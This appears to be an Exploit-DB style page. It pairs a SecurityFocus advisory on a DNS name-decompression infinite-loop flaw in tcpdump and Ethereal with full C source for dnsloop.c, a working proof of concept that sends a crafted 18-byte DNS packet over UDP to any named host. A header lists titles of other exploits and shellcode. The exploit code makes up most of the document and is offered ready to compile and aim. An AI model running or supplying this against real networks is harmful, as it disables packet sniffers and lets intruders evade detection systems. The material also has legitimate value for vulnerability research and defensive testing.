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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.6 KiB
C
74 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/1165/info
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A vulnerability exists in the DNS decode capabilities provided as part of the tcpdump sniffer, from LBL, as well as other sniffers, including Ethereal, by Gerald Combs. These sniffers will attempt to decode DNS request and queries. However, due to the DNS name compression scheme, it is possible to create a DNS packet such that tcpdump will be caught in an infinite loop, while trying to decompress. This will prevent the sniffer from displaying further packets. If tcpdump is being used as some part of and intrusion detection system, this could allow an intruder to evade this system.
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When tcpdump is logging to a file, it is not affected by this vulnerability. Upon reading from a file which contains recorded packets, it will enter an infinite loop when it encounters packets of this type.
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/* dnsloop.c by Hugo Breton (bretonh@pgci.ca)
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This program illustrates the bug in tcpdump when handling jumps in the DNS
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hostname decompression.
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*/
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#include <stdio.h>
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#include <string.h>
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#include <netdb.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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int main(int argc,char * * argv)
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{
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char p[18];
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int sock;
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struct sockaddr_in sin;
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struct hostent * hoste;
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printf("dnsloop.c by Hugo Breton (bretonh@pgci.ca)\n");
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if(argc<2)
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{
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printf("usage: %s host\n",argv[0]);
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return(0);
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}
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bzero((void *) &sin,sizeof(sin));
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sin.sin_family=AF_INET;
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sin.sin_port=htons(53);
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if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
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{
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if((hoste=gethostbyname(argv[1]))==NULL)
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{
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printf("unknown host %s\n",argv[1]);
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return(0);
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}
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bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
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}
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bzero((void *) p,18);
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* ((unsigned short *) (p+0))=htons(867-5309);
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* ((unsigned short *) (p+4))=htons(1);
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* ((unsigned short *) (p+12))=htons(32768+16384+12);
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* ((unsigned short *) (p+14))=htons(1);
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* ((unsigned short *) (p+16))=htons(1);
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if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
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{
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printf("unable to create UDP socket\n");
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return(0);
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}
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if(sendto(sock,p,18,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
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{
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printf("unable to send packet\n");
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return(0);
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}
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printf("packet sent to host %s\n",argv[1]);
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return(0);
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} |